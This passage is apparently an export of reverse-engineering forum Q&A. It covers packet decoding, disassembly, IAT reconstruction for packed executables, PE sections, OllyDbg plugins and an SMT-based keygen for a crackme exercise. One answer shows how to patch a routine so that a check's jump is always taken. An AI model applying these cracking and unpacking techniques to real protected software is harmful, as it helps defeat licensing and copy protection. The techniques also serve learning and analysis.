    \n\n

    preceding that we can see a 00 00 01 c9 lets convert that in its entirety to decimal: That turns out to be 457 10 times more than what another value you are looking for is.

    \n\n

    The next set is 00 51 00 00, maybe there is a 2 byte 0 in between this value and the next one them so lets focus on the 51, converted to decimal that is 81. Another value you are looking for!

    \n\n

    The last value you are looking for is 236.1 however after seeing the energy total maybe the value was scaled first by 10 so lets check 2361 in hex, that is 0939. Lo and behold that's in the last packet:\n

    AA 55 00 01 01 00 11 82 32 00 A3 00 9A 06 B8 06\nB2 00 03 00 03 00 04 09 39 13 90 00 51 00 00 00\n00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00\n00 00 00 00 00 00 00 00 00 00 00 08 CA

    \n\n

    Remember that the highest value a single hex digit (0-f) can contain is 15, put 2 of them together and you can go up to 255. Double the amount of bits again and you are at 65535. Also handy to remember is that engineers are cheap and won't put in floating point arithmetic when they can just use fixed point instead. The trick is to find the scaling factor they used.

    \n" }, { "Id": "11246", "CreationDate": "2015-11-05T02:35:49.167", "Body": "

    I'm using IDA to disassemble a file, and one of the sections contained this. What is this doing? What would it look like in C?

    \n\n

    I believe it pushes edx onto the stack, and converts it to an integer using _atoi, but what is left in eax after that, and why is it comparing it to 5?

    \n\n
    mov     ecx, [ebp+argv]\nmov     edx, [ecx+4]\npush    edx             ; char *\ncall    _atoi\nadd     esp, 4\nmov     [ebp+var_60], eax\ncmp     [ebp+var_60], 5\njle     short loc_401167\n
    \n\n

    Edit: Got a great answer, also another good answer here. https://stackoverflow.com/questions/33535720/what-does-this-code-do-and-what-does-it-look-like-in-c/33535891#33535891

    \n", "Title": "What does this code do, and what does it look like in C?", "Tags": "|ida|x86|", "Answer": "

    seems to be unoptimized compilation anyway if you were using ollydbg and compiled this code with debug information ollydbg will show the source code in the next column

    \n\n

    source used

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\nint main (int argc , char* argv[]) {\n  if(argc!=2){return -1;}\n  signed int foo =0;\n  if((foo = atoi(argv[1])) > 5) {goto blah;}\n  printf(\"notok\");return 0;\n  blah:\n  printf(\"ok\");return 1;\n}\n
    \n\n

    compiled with no optimisations

    \n\n

    cl /Zi /EHsc /nologo /W4 /analyze *.cpp /link /RELEASE

    \n\n
    00401000 a>PUSH    EBP                         ; {\n00401001   MOV     EBP, ESP\n00401003   PUSH    ECX\n00401004   CMP     DWORD PTR SS:[EBP+8], 2     ; if(argc!=2){return -1;}\n00401008   JE      SHORT atoitest.0040100F\n0040100A   OR      EAX, FFFFFFFF\n0040100D   JMP     SHORT atoitest.00401055\n0040100F   MOV     DWORD PTR SS:[EBP-4], 0     ; signed int foo =0;\n00401016   MOV     EAX, DWORD PTR SS:[EBP+C]   ; if((foo = atoi(argv[1])) > 5) {goto blah;}\n00401019   MOV     ECX, DWORD PTR DS:[EAX+4]\n0040101C   PUSH    ECX\n0040101D   CALL    atoitest.atoi\n00401022   ADD     ESP, 4\n00401025   MOV     DWORD PTR SS:[EBP-4], EAX\n00401028   CMP     DWORD PTR SS:[EBP-4], 5\n0040102C   JLE     SHORT atoitest.00401032\n0040102E   JMP     SHORT atoitest.00401043\n00401030   JMP     SHORT atoitest.00401043\n00401032   PUSH    atoitest.0041218C           ; printf(\"notok\");return 0;\n00401037   CALL    atoitest.printf\n0040103C   ADD     ESP, 4\n0040103F   XOR     EAX, EAX\n00401041   JMP     SHORT atoitest.00401055\n00401043   PUSH    atoitest.00412194           ; printf(\"ok\");return 1;\n00401048   CALL    atoitest.printf\n0040104D   ADD     ESP, 4\n00401050   MOV     EAX, 1\n00401055   MOV     ESP, EBP                    ; }\n00401057   POP     EBP\n00401058   RETN\n
    \n\n

    the same src code compiled with msvc /O1 does away all saves

    \n\n

    cl /Zi /O1 /EHsc /nologo /W4 /analyze *.cpp /link /RELEASE

    \n\n
    00401000 a>CMP     DWORD PTR SS:[ESP+4], 2     ; {\n00401005   JE      SHORT atoitest.0040100B\n00401007   OR      EAX, FFFFFFFF\n0040100A   RETN                                ; }\n0040100B   MOV     EAX, DWORD PTR SS:[ESP+8]   ; if((foo = atoi(argv[1])) > 5) {goto blah;}\n0040100F   PUSH    DWORD PTR DS:[EAX+4]\n00401012   CALL    atoitest.atoi\n00401017   POP     ECX\n00401018   CMP     EAX, 5\n0040101B   JLE     SHORT atoitest.0040102C\n0040101D   PUSH    atoitest.00412194           ; printf(\"ok\");return 1;\n00401022   CALL    atoitest.printf\n00401027   XOR     EAX, EAX\n00401029   INC     EAX\n0040102A   POP     ECX\n0040102B   RETN                                ; }\n0040102C   PUSH    atoitest.0041218C           ; printf(\"notok\");return 0;\n00401031   CALL    atoitest.printf\n00401036   XOR     EAX, EAX\n00401038   POP     ECX\n00401039   RETN                                ; }\n
    \n\n

    same code with single exit and no gotos

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\nint main (int argc , char* argv[]) {\n  if(argc==2)  {\n    int foo =0;\n    if((foo = atoi(argv[1])) > 5) {\n      printf(\"ok\");\n    } else {\n      printf(\"notok\");\n    }\n  }\n  return 0;\n}\n
    \n\n

    unoptimesed compilation

    \n\n
    00401000 a>PUSH    EBP                         ; int main (int argc , char* argv[]) {\n00401001   MOV     EBP, ESP\n00401003   PUSH    ECX\n00401004   CMP     DWORD PTR SS:[EBP+8], 2     ; if(argc==2)  {\n00401008   JNZ     SHORT atoitest.00401045\n0040100A   MOV     DWORD PTR SS:[EBP-4], 0     ; int foo =0;\n00401011   MOV     EAX, DWORD PTR SS:[EBP+C]   ; if((foo = atoi(argv[1])) > 5) {\n00401014   MOV     ECX, DWORD PTR DS:[EAX+4]\n00401017   PUSH    ECX\n00401018   CALL    atoitest.atoi\n0040101D   ADD     ESP, 4\n00401020   MOV     DWORD PTR SS:[EBP-4], EAX\n00401023   CMP     DWORD PTR SS:[EBP-4], 5\n00401027   JLE     SHORT atoitest.00401038\n00401029   PUSH    atoitest.0041218C           ; printf(\"ok\");\n0040102E   CALL    atoitest.printf\n00401033   ADD     ESP, 4\n00401036   JMP     SHORT atoitest.00401045     ; } else {\n00401038   PUSH    atoitest.00412190           ; printf(\"notok\");\n0040103D   CALL    atoitest.printf\n00401042   ADD     ESP, 4\n00401045   XOR     EAX, EAX                    ; return 0;\n00401047   MOV     ESP, EBP                    ; }\n00401049   POP     EBP\n0040104A   RETN\n
    \n\n

    optimised compilation

    \n\n
    00401000 a>CMP     DWORD PTR SS:[ESP+4], 2     ; int main (int argc , char* argv[]) {\n00401005   JNZ     SHORT atoitest.0040102B\n00401007   MOV     EAX, DWORD PTR SS:[ESP+8]   ; if((foo = atoi(argv[1])) > 5) {\n0040100B   PUSH    DWORD PTR DS:[EAX+4]\n0040100E   CALL    atoitest.atoi\n00401013   POP     ECX\n00401014   CMP     EAX, 5\n00401017   JLE     SHORT atoitest.00401020\n00401019   PUSH    atoitest.00412194           ; printf(\"ok\");\n0040101E   JMP     SHORT atoitest.00401025     ; } else {\n00401020   PUSH    atoitest.0041218C           ; printf(\"notok\");\n00401025   CALL    atoitest.printf\n0040102A   POP     ECX\n0040102B   XOR     EAX, EAX                    ; return 0;\n0040102D   RETN                                ; }\n
    \n" }, { "Id": "11248", "CreationDate": "2015-11-05T08:10:18.750", "Body": "

    Working on my Logitech G105 keyboard, to hopefully implement a userspace driver to activate some of its specialized features.

    \n\n

    I've captured the usb traffic it outputs when using a windows vm with the official logitech drivers, output of starting the software and setting the m1 led active are in this gist (usbmon-boot and usbmon-m1 respectively).

    \n\n

    Replaying the packets with in python with\ndev.ctrl_transfer(0x21, 0x09, 0x0200, 0x0000, 0x0001)\n\nand so on results in almost the exact results, however, the data words after = in usbmon are all 00, and the led on the keyboard does not activate.

    \n", "Title": "Replaying packets with pyusb does not have the expected output", "Tags": "|usb|", "Answer": "

    Ah, figured out my problem. I was doing

    \n\n

    dev.ctrl_transfer(0x21, 0x09, 0x0306, 0x0001, 0x0002)

    \n\n

    in response to

    \n\n

    ffff8800822bbcc0 1231215925 S Co:7:009:0 s 21 09 0306 0001 0002 2 = 0601

    \n\n

    but what I should have done is

    \n\n

    dev.ctrl_transfer(0x21, 0x09, 0x0306, [0x06, 0x01])

    \n\n

    Issue is resolved :D

    \n" }, { "Id": "11251", "CreationDate": "2015-11-05T11:00:34.703", "Body": "

    i am reading differents documentation about radare2 but i don't read nothing about how can i debug a binary in remote machine.

    \n\n

    Actually i am a security research and i need execute binaries in other laboratory virtual machine (winxp).

    \n\n

    Thanks for all.

    \n", "Title": "How to debug with remote binaries radare2?", "Tags": "|radare2|remote|", "Answer": "

    This blogpost will probably answer your question. Search for windbg, if you're only interested in this part. Maybe using the r2 debugger on the target works with rap://.

    \n" }, { "Id": "11252", "CreationDate": "2015-11-05T15:19:12.230", "Body": "

    (Alert: I'm new with all this)

    \n\n

    I'm trying to find out what the following (dis)assembly does:

    \n\n
    MOV EAX,DWORD PTR SS:[EBP-54]     ; PTR to ASCII \"\\xDA\\x9Fb\"\n
    \n\n

    I seem to understand that the value at address [EBP-54] is copied to EAX. And that OllyDbg figured out that value to be an ascii string containing \"\\xDA\\x9Fb\". Is that right?

    \n\n

    Can someone maybe explain to me what this Ascii string is supposed to represent, and how it fits in this code example?

    \n\n

    Edit: Since the information above seems not sufficient to give an answer, I'll try to add some instructions that might (or might not) shed some light.

    \n\n

    Shortly after the instruction above, there are multiple CMPs that each look like this:

    \n\n
    CMP DWORD PTR DS:[EAX+(different hex)],0\nJE SHORT (position a few lines below)\n
    \n\n

    This CMP exits with true which is not the desired condition. The left side should have another value than 0.

    \n\n

    I could not figure out what the the string means but it is being used as one of multiple arguments in many internal (private) functions of the disassembly while the other arguments would contain column names of a database.

    \n\n

    I am planning to do a lot more digging but I was just curious if this seemed familiar to anybody.

    \n", "Title": "\\xDA\\x9Fb - what's that?", "Tags": "|disassembly|ollydbg|", "Answer": "

    As Ian Cook said, the most likely scenario is that this \"ASCII\" is not a string at all.

    \n\n

    Disassemblers like OllyDbg will call pretty much anything \"ASCII\" if it's zero terminated and does not contain overly crazy control characters, but neither the extended ASCII interpretation \"\u00da\u0178b\" nor the UTF-8 interpretation \"\u069fb\" (the first character is Arabic) make much sense, so most likely this is a pointer to a record, the first field of which is a pointer to address 0x00629FDA.

    \n" }, { "Id": "11260", "CreationDate": "2015-11-06T16:48:44.770", "Body": "

    I just loaded up an ARM kernel image into IDA. When I boot up the ARM kernel and inspect the kernel symbols, I can see the following :-

    \n\n
    / $ cat /proc/kallsyms | head -n 10\n00000000 t __vectors_start\n80008240 T asm_do_IRQ\n80008240 T _stext\n80008240 T __exception_text_start\n80008244 T do_undefinstr\n80008408 T do_IPI\n8000840c T do_DataAbort\n800084a8 T do_PrefetchAbort\n80008544 t gic_handle_irq\n800085a0 T secondary_startup\n
    \n\n

    When I load the kernel image into IDA, I am presented with functions with a memory segment that is loaded at 0x8000. As the kernel symbols are not present in the ARM kernel, this is making analysis hard.

    \n\n

    How can I map the addresses I see in the ARM image(I'm running it in Qemu, and could debug the kernel using gdb-multiarch) with the addresses I see in IDA? I'm guessing rebasing the .text section in IDA would be the way to go. If so, how could I go about finding the address to which I would have to rebase the segment?

    \n", "Title": "Memory segment in IDA - ARM kernel", "Tags": "|linux|kernel-mode|segmentation|", "Answer": "

    I figured out a solution. Here is what I did.

    \n\n
      \n
    1. Export the content of /proc/kallsyms to a text file.
      2. \n
    2. From the zImage kernel file look for the gz file format header, copy it out and extract. Load the file into IDA.
      3. \n
    3. As the file is a binary file, you need to tell IDA how to work with it. You set the architecture to ARM(as was in my case), set the RAM segment to load at 0x80008000.
      4. \n
    4. Write an IDApython script to read the text file from [1] and do a MakeName(address, name).
      5. \n
    \n" }, { "Id": "11261", "CreationDate": "2015-11-06T17:43:53.650", "Body": "

    I am trying to learn to get around Ollydbg, using Lena's tutorial. The latter is based on v.1.10 but I'm using 2.01. So far that went ok.

    \n\n

    However, I now find myself in a situation where my result differs a lot from the tutorial (no 4).

    \n\n

    I'm trying to catch the call for a messagebox in the code. The tutorial describes I should, with the messagebox open, pause Ollydbg, then return to the application and close the messagebox. This would make Ollydbg break after I clicked the box away and I would land right after the messagebox call in the code.

    \n\n

    In my case though, as soon as I click pause, Olly leaves the main application module, landing on RETN in a subroutine of USER32.GetMessageA

    \n\n

    Now I can't get back to the application at all, it's blocked. I have to continue the debugger in order to be able to get back to it again but this way I get no info about the messagebox.

    \n\n

    Any tips how to proceed in order to get the expected result? I guess in this specific example I could just search for all messagebox calls in the code but that's hardly a good way, especially with large apps.

    \n\n

    A related question, is there a possibility to \"look back\" on what happened, as in which code was called up to a certain moment?

    \n\n

    Apologies if any of this doesn't make much sense.

    \n", "Title": "Catch MessageBox call with OllyDbg", "Tags": "|disassembly|", "Answer": "

    Have you tried in 1.10? I have and have no issue. Make sure you leave the dialog opened, and instead of hitting Alt-F9 I found the option in the menu.

    \n\n

    It's possible but unlikely that this feature is broken in Olly 2

    \n" }, { "Id": "11267", "CreationDate": "2015-11-07T14:38:24.440", "Body": "

    I recently started to study RE in my free time. I started to look at lena151\nfree tutorials and now I'm on packers/protectors.

    \n\n

    Now i reached to the part that he show how to manually find the end of IAT\nand he said \"you see, we can easy spot the end of the of the IAT, it's on\n 493854...\"

    \n\n
    0049380C  D0 E9 5F 73 C0 4A 65 73 70 68 65 73 A0 61 66 73  \u05c0\u05d9_s\u05b0Jesphes\u00a0afs\n0049381C  50 C4 64 73 D0 66 65 73 40 6B 66 73 00 00 00 00  P\u05b4ds\u05c0fes@kfs....\n0049382C  C0 41 7E 75 10 0A 7A 75 00 00 00 00 00 F3 64 75  \u05b0A~u.zu.....\u05e3du\n0049383C  00 00 00 00 10 F4 00 77 00 6A 01 77 10 69 01 77  ....\u05e4.w.jwiw\n0049384C  00 00 00 00 6E 17 00 10 00 00 00 00 6B 65 72 6E  ....n.....kern\n0049385C  65 6C 33 32 2E 64 6C 6C 00 00 00 00 44 65 6C 65  el32.dll....Dele\n0049386C  74 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F  teCriticalSectio\n0049387C  6E 00 00 00 4C 65 61 76 65 43 72 69 74 69 63 61  n...LeaveCritica\n
    \n\n

    Now I don't udnerstand how he know where the end of the IAT just from looking\non the dump?

    \n\n

    Also, I didn't completely understood what is IAT, \nany help will be great :-)

    \n", "Title": "what is IAT? and how to find the end of the IAT in packed exe?", "Tags": "|unpacking|iat|", "Answer": "
    \n

    I didn't completely understood what is IAT, any help will be great :-)

    \n
    \n\n

    The IAT is the Import Address Table. It's an an array of pointers to statically-imported API function addresses. The IAT entries gets populated at runtime.

    \n\n

    The format of the IAT is typically as follows, with all functions from a particular DLL grouped together, with a null-pointer separating each DLL's list of function addresses:

    \n\n

    <pointer to DLL #1's function A>, <pointer to DLL #1's function B>, <pointer to DLL #1's function C>, 0x00000000, <pointer to DLL #2's function D>, <pointer to DLL #2's function E>, ..., 0x00000000

    \n\n

    Note that this format isn't required, but it's the most common format.

    \n\n
    \n

    Now I don't udnerstand how he know where the end of the IAT just from looking on the dump?

    \n
    \n\n

    I highlighted each IAT function below (with mspaint), with a different color for each DLL grouping. At virtual address 0x0049380C we see the function addresses 0x735FE9D0, 0x73654AC0, etc. You can tell that they're likely from the same DLL because:

    \n\n
      \n
    1. There's no null-pointer separating them, and
      2. \n
    2. They're all in the same address range (0x735F0000 - 0x7366FFFF)
      3. \n
    \n\n

    \"IAT\"

    \n\n

    The DWORD at 0x00493850 (after the null-pointer at 0x0049384C) is 0x1000176E, so you can look up that address in your debugger and see if there's DLL code loaded at that address. If not, 0x0049384C would mark the end of the IAT. If so, 0x00493854 would mark the end of the IAT since the data at 0x00493858 is the beginning of an ASCII string and clearly not a valid function pointer.

    \n" }, { "Id": "11275", "CreationDate": "2015-11-08T23:32:21.280", "Body": "

    In IDA 6.6, is it possible to condense, or otherwise re-arrange, lines of pseudocode given by the Hex-Rays decompiler? For example

    \n\n
    if ( !iFile2Size\n  || *pFile2BufferCopy == *pFile3BufferCopy\n  && (iFile2Size <= 1\n   || pFile2BufferCopy[1] == pFile3BufferCopy[1]\n   && (iFile2Size <= 2 || pFile2BufferCopy[2] == pFile3BufferCopy[2])) )\n  blah;\n
    \n\n

    is a bit eye bleedy. I can't for the life of me figure out how to re-arrange it though.

    \n", "Title": "Condense pseudocode lines in IDA Pro", "Tags": "|ida|hexrays|", "Answer": "

    The only reliable way I know about requires writing HexRays plugin.\nHere and here you have an examples of such plugins that manipulates output of the decompiler - not exactly in a way you need, but probably it will give you some direction. Examples of such a plugins in IdaPython (probably not working and outdated) may be found in its old Google Code repository (see v*.py here )

    \n\n

    In addition you can manipulate decompiler configuration.\nAs it wrote here you can reduce or increase RIGHT_MARGIN parameter, and this will probably give you an ability to manipulate single line size of decompiler output (which will change representation of your condition among others). The same setting can be accessed via edit/plugins/something related to hexrays/ (sorry, I don't have HexRay installed right now) menu.

    \n" }, { "Id": "11276", "CreationDate": "2015-11-09T00:28:49.520", "Body": "

    In Core Debugger Concepts What is the difference between Intrusive Attaching and Non-Intrusive Attaching when debugging?

    \n", "Title": "What is the difference between Intrusive Attaching and Non-Intrusive Attaching when debugging?", "Tags": "|debugging|debuggers|dynamic-analysis|", "Answer": "

    non invasive debugging has access to the process memory and can inspect state\nnon invasive debuggine cannot perform execution controlling options like step , breakpoints etc.\nnon invasive code flow is something like this

    \n\n
    OpenProcess() , SuspendThread() , ReadProcessMemory() , ResumeThread() , CloseHandle()\n
    \n\n

    Invasive debugging receives all the debugging events in the debuggee

    \n\n
    CreateProcess (.,.,.,DEBUG_XXXXX,...,); so this can wait for all the DebugEvents \n
    \n" }, { "Id": "11279", "CreationDate": "2015-11-09T01:38:09.213", "Body": "

    Where would I look if I wanted to know which third party libraries an application (win32) has used?

    \n\n

    I found this info yesterday (with Ollydbg, I think) but for the love of me just can't figure out anymore how I did it. All I remember is that the format was easily readable, not hex.

    \n", "Title": "Find out which libraries were (statically) linked", "Tags": "|disassembly|", "Answer": "

    i believe this cant be done easily without debug information \\ symbols.

    \n\n

    Statically linked libraries means that part of the code of the program contains the functions of the third party libraries.

    \n\n

    Lets take for example an open ssl library.

    \n\n

    Once you compile your code with the openssl code attached (as part of your code solution), in the assembly you cant really know which part of the code is part of the library and which one is the code of your main program.

    \n\n

    If you want a way to figure out if a library is linked into your program, you might want to try to look for debug strings that were left behind during compilation that would help out.

    \n\n

    Also for future reference and finding dynamically linked libraries, i would suggest CFF-explorer

    \n" }, { "Id": "11280", "CreationDate": "2015-11-09T01:43:28.523", "Body": "

    I have always been curious when I should use OllyDbg over Immunity Debugger.

    \n\n

    Immunity Debugger has inherited code from OllyDbg and can perform scripted debugging with Python.

    \n\n

    Interestingly enough, most of the times I do a Google search for a reverse engineering task with Immunity Debugger, I end up with search results related to exploit development. When I search for the same task with OllyDbg, I regularly find information more relevant to the reverse engineering task I am trying to accomplish.

    \n\n

    If Immunity Debugger supports scripted debugging in Python (which simplifies the scripting process as opposed to making a plugin for OllyDbg), then why would I want to use OllyDbg over Immunity Debugger?

    \n", "Title": "When to use OllyDgb over Immunity Debugger", "Tags": "|ollydbg|debugging|tools|immunity-debugger|", "Answer": "

    Immunity Debugger is forked from OllyDbg v1.10.

    \n\n

    So you should use the latest version of OllyDbg (currently v2.01) instead of Immunity Debugger if you want any OllyDbg v2-specific features/fixes. If you don't need those OllyDbg v2-specific features/fixes though, then there's no benefit to using OllyDbg v1.10 over Immunity Debugger.

    \n" }, { "Id": "11286", "CreationDate": "2015-11-09T13:25:26.913", "Body": "

    Assuming the following lines of code:

    \n\n
     MOV DWORD PTR FS:[0],EAX\n CALL someRoutine\n MOV EAX,DWORD PTR DS:[EAX+4]\n CMP DWORD PTR DS:[EAX+1204],0\n JE placeInCode\n XOR EAX,EAX\n
    \n\n

    My goal is to change [someRoutine] in such a way that the JE is always taken - I specifically don't want to tamper with the code outside [someRoutine]. So just think of [someRoutine] as a set of instructions that you can freely change and adapt.

    \n\n

    I can't seem to understand how to solve this equation. If there was no MOV instruction after the call, I guess I could just go to the address [EAX+1204] and fill it with 0. But like this, there seem to be too many unknown dependencies.

    \n\n

    Any advice?

    \n", "Title": "Is this code equation solvable?", "Tags": "|disassembly|", "Answer": "

    Have someRoutine perform the following actions (in C below for example purposes) --

    \n\n
    DWORD* p = (DWORD*)malloc(8);\np[0] = 0;\np[1] = (SIZE_T)p - 1204;\nreturn p;\n
    \n\n

    Obviously this is a memory-leak since the allocated memory never gets free()'d, so you wouldn't want to use this approach if someRoutine gets called often. However it's not feasible to offer a better recommendation without us knowing the memory layout of the actual program.

    \n\n

    Edit: Updated based on @tathanhdinh's suggestion.

    \n" }, { "Id": "11303", "CreationDate": "2015-11-10T22:07:26.293", "Body": "

    I have reversed the code of this simple crackme(more like reverseme :)) but I don't understand how to create valid password for the algorithm.\nHere's the reversed code:

    \n\n
    #include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nint main(int argc, char* argv[]) {\n    if(argc<2)\n        return -1;\n\n    char *original = argv[1]; \n    char *password = strdup(original);\n    int success = 0xFD0970E7;\n    int i, j;\n    for (i = random() & 0xFF; i > 0; i--) {\n        for (j = 0; j < (int)strlen(original); j++) {\n            password[j] = password[j] ^ random();\n        }\n    }\n\n    i = 0x1337;\n    for (j = strlen(original)-1; j >= 0; j--) {\n        i = i * password[j] + 0x31337;\n    }\n\n    if (i == success) {\n        printf(\"SUCCESS\\n\");\n        return 0;\n    }\n\n    printf(\"WRONG\\n\");\n    return -1;\n}\n
    \n\n

    I understand that since random() isn't seeded I can control the input that gets to the later stages of the program, but I don't get how can I use it to solve it :(

    \n", "Title": "How to break this reversing exercise", "Tags": "|crackme|", "Answer": "

    We can define recursive functions in SMT language (e.g. with define-fun-rec), but some popular solvers (e.g. z3) currently cannot handle them yet (I do not know any can support); so it is not direct to encode loops in such a solver.

    \n\n

    But we can use a trick, that is to just unroll the loop (then it is still obliged to test several lengths of the password) by generating automatically SMT formulae. For example, the following program generate a SMT formula for each length of password:

    \n\n
    #include <stdlib.h>\n#include <stdio.h>\n\n#define PRE_VAL_NUM 0xfff\nint ran_vals[PRE_VAL_NUM];\n\nvoid gen_pre_vals()\n{\n  for (unsigned int i = 0; i < PRE_VAL_NUM; ++i) {\n    ran_vals[i] = random();\n  }\n  return;\n}\n\nint main(int argc, char* argv[])\n{\n  if (argc != 2) {\n    printf(\"please run as keygen length_of_password\\n\");\n    return 0;\n  }\n\n  gen_pre_vals();\n\n  FILE* smt_file = fopen(\"reverseme.smt2\", \"w+\");\n\n  fprintf(smt_file, \"(set-logic QF_BV)\\n\");\n  fprintf(smt_file, \"(set-info :smt-lib-version 2.0)\\n\");\n\n  int passwd_len = strtol(argv[1], NULL, 0);\n\n  fprintf(smt_file, \"\\n\");\n  for (int i = 0; i < passwd_len; ++i) {\n    fprintf(smt_file, \"(declare-fun pw%d () (_ BitVec 8))\\n\", i);\n  }\n  fprintf(smt_file, \"\\n\");\n  fprintf(smt_file, \"(define-fun prev_i ((i (_ BitVec 32)) (pw_i (_ BitVec 8))) (_ BitVec 32)\\n\");\n  fprintf(smt_file, \"(let ((pw_i_ext ((_ sign_extend 24) pw_i)))\\n\");\n  fprintf(smt_file, \"(bvadd (bvmul i pw_i_ext) #x00031337)))\\n\");\n\n  fprintf(smt_file, \"\\n\");\n  for (int i = 0; i < passwd_len; ++i) {\n    fprintf(smt_file, \"(assert (and (bvuge pw%d #x21) (bvule pw%d #x7e)))\\n\", i, i);\n  }\n\n  fprintf(smt_file, \"\\n\");\n  fprintf(smt_file, \"(assert\\n\");\n  fprintf(smt_file, \"(let (\\n\");\n  unsigned int acc_ran;\n  for (int i = 0; i < passwd_len; ++i) {\n    acc_ran = 0x00;\n\n    for (int j = ran_vals[0] & 0xff; j > 0; j--) {\n      acc_ran ^= ran_vals[1 + i + (j - 1) * passwd_len];\n    }\n\n    fprintf(smt_file, \"(pwn%d (bvxor pw%d #x%x))\\n\", i, i, (acc_ran & 0xff));\n  }\n  fprintf(smt_file, \")\\n\");\n  fprintf(smt_file, \"(let ((i%d (prev_i #x1337 pwn%d)))\\n\", passwd_len - 2, passwd_len - 1);\n  for (int i = passwd_len - 2; i >= 1; --i) {\n    fprintf(smt_file, \"(let ((i%d (prev_i i%d pwn%d)))\\n\", i - 1, i, i);\n  }\n  fprintf(smt_file, \"(let ((i (prev_i i0 pwn0)))\\n\");\n  fprintf(smt_file, \"(= i #xfd0970e7))\\n\");\n  for (int i = 0; i < passwd_len; ++i) fprintf(smt_file, \")\");\n  fprintf(smt_file, \")\\n\");\n\n  fprintf(smt_file, \"\\n\");\n  fprintf(smt_file, \"(check-sat)\\n\");\n  fprintf(smt_file, \"(get-value (\\n\");\n  for (int i = 0; i < passwd_len; ++i) fprintf(smt_file, \"pw%d\\n\", i);\n  fprintf(smt_file, \"))\\n\");\n\n  fclose(smt_file);\n\n  printf(\"output smt file: reverseme.smt2\\n\");\n\n  return 1;\n}\n
    \n\n

    It generates a SMT file, named reverseme.smt2 for each length of password (e.g. the generated SMT file for the length 6 is here), then we can type: z3 reverseme.smt2 to get a valid password.

    \n\n

    I have tested for lengths of 2, 3, 4, 5 (the length 1 is obviously impossible). On my machine, z3 takes about 1-5 seconds for each test, and gives UNSAT for each of them; the first SAT result \"6`SHQe\" (ASCII codes: 0x36, 0x60, 0x53, 0x48, 0x51, 0x65 is found for length of 6. I do not check whether there exists some valid passwords for lengths larger than 6 though.

    \n" }, { "Id": "11305", "CreationDate": "2015-11-11T02:44:46.840", "Body": "

    I have a function prototype generated by IDA that looks like this:

    \n\n

    \"enter

    \n\n

    However, it looks like there is a struct being referenced at the instruction lea edi, [esp+290h+var_240]. I would like IDA to reference this passed address as an argument in its function prototype.

    \n\n

    I have tried the approach below, but it is clear that it does not work.

    \n\n

    \"enter

    \n\n

    What I would like to see is something like this

    \n\n

    \"enter

    \n\n

    Any help or suggestions would be greatly appreciated!

    \n", "Title": "How to create function prototype that recognizes arguments passed by reference in IDA Pro", "Tags": "|ida|x86|calling-conventions|", "Answer": "

    My guess is that the function signature should be something like:

    \n\n
    int __usercall Call_HTTP@<eax>(int x, int y, void* http_object@<edi>);\n
    \n\n\n\n

    You can change the type of the http_object by adding a proper structure for this object to the known IDA structures and pass the real type instead of void*.

    \n\n

    For more information on function signature, see the IDA help on Set function/item type.

    \n\n

    Edit

    \n\n

    The right signature should be:

    \n\n
    int __userpurge Call_HTTP@<eax>(int x, int y, void* http_object@<edi>);\n
    \n\n

    As stated by @itsbriany:

    \n\n\n" }, { "Id": "11309", "CreationDate": "2015-11-11T12:01:04.430", "Body": "

    I have a problem that NtdllDefWindowProc_A function from ntdll is\ninside user32 thunk.

    \n\n

    \"enter

    \n\n

    Following @Jason Geffner answer in ImpRec invalid thunks seem valid I tried to change it to NtdllDefWindowProc_A from user32, but when I rebuild it after the fix with PE tool the file didn't work at all.

    \n\n

    Then I tried again and cut NtdllDefWindowProc_A function from the chunk,\nand the rebuild work and the file run without a problem.

    \n\n

    its probably not a good idea to cut NtdllDefWindowProc_A from the file....So what did I did wrong?

    \n\n

    Thanks you all for the help :-)

    \n", "Title": "ImpRec invalid NtdllDefWindowProc_A seem valid", "Tags": "|debugging|iat|protection|", "Answer": "

    In your example, the static import user32!DefWindowProcA is getting forwarded to ntdll!NtdllDefWindowProc_A.

    \n\n

    You need to double-click on the ntdll!NtdllDefWindowProc_A entry in Import REConstructor and change it to user32!DefWindowProcA.

    \n" }, { "Id": "11311", "CreationDate": "2015-11-11T16:00:12.467", "Body": "

    Generally, what is the criterion by which to decide whether a PE section contains code or not?

    \n\n

    Specifically, is a .text or .code section always considered to contain code? And what is the relationship between the IMAGE_SCN_CNT_CODE flag (0x00000020) and IMAGE_SCN_MEM_EXECUTE flag (0x20000000) - can we consider a section with at least one of those two as definitely containing code?

    \n\n

    Is there a hard static rule to recognize code sections?

    \n", "Title": "How to recognize PE sections containing code?", "Tags": "|windows|pe|section|", "Answer": "
    \n

    Specifically, is a .text or .code section always considered to contain code?

    \n
    \n\n

    No.

    \n\n
    \n

    And what is the relationship between the IMAGE_SCN_CNT_CODE flag (0x00000020) and IMAGE_SCN_MEM_EXECUTE flag (0x20000000)

    \n
    \n\n

    The former is ignored by the Windows PE loader. The latter is used by the Windows PE loader such that if the flag is set then the pages for that section are marked as executable in memory (via https://en.wikipedia.org/wiki/NX_bit).

    \n\n
    \n

    can we consider a section with at least one of those two as definitely containing code?

    \n
    \n\n

    Not always, no.

    \n\n
    \n

    Generally, what is the criterion by which to decide whether a PE section contains code or not?

    \n
    \n\n

    While the .text/.code sections will usually contain code, and a section with the IMAGE_SCN_MEM_EXECUTE flag will usually contain code, the only real way to say that a section definitely contains code is if the CPU actually executes code in that section at runtime.

    \n" }, { "Id": "11317", "CreationDate": "2015-11-12T08:34:53.260", "Body": "

    I am trying to write a plugin which, beside other things, would need to write assembly of some code segments into a file. Since the documentation is somewhat lacking I'm lost on some things and not sure how to use functions for disassembly. I'm reading commands with Readcommand function and then using Disasm function to get the assembly code but all I am getting is some gibberish. Also, in a help file it says that Readcommand function should return the actual size of instruction read, but it always returns maximum size. Any help on what I'm doing wrong or how to proceed to get the assembly code would be appreciated. Code with which I'm trying to get disassembly is located below.

    \n\n
    \n

    code_length = Readcommand(reg->ip, cmd);
    \n instruction_length =\n Disasm(cmd, code_length, reg->ip, dest, disasm, DISASM_ALL,thread_id);

    \n
    \n", "Title": "Ollydbg v 1.10 plugin writing", "Tags": "|ollydbg|plugin|", "Answer": "

    ReadCommand() Returns bytes from internally cached buffer and returns atmost MAXCMDSIZE Bytes

    \n\n

    the below snippet will take an address (HEX ONLY) \nread the command print the bytes and disassembly pertaining that address to log window \ntake a look

    \n\n
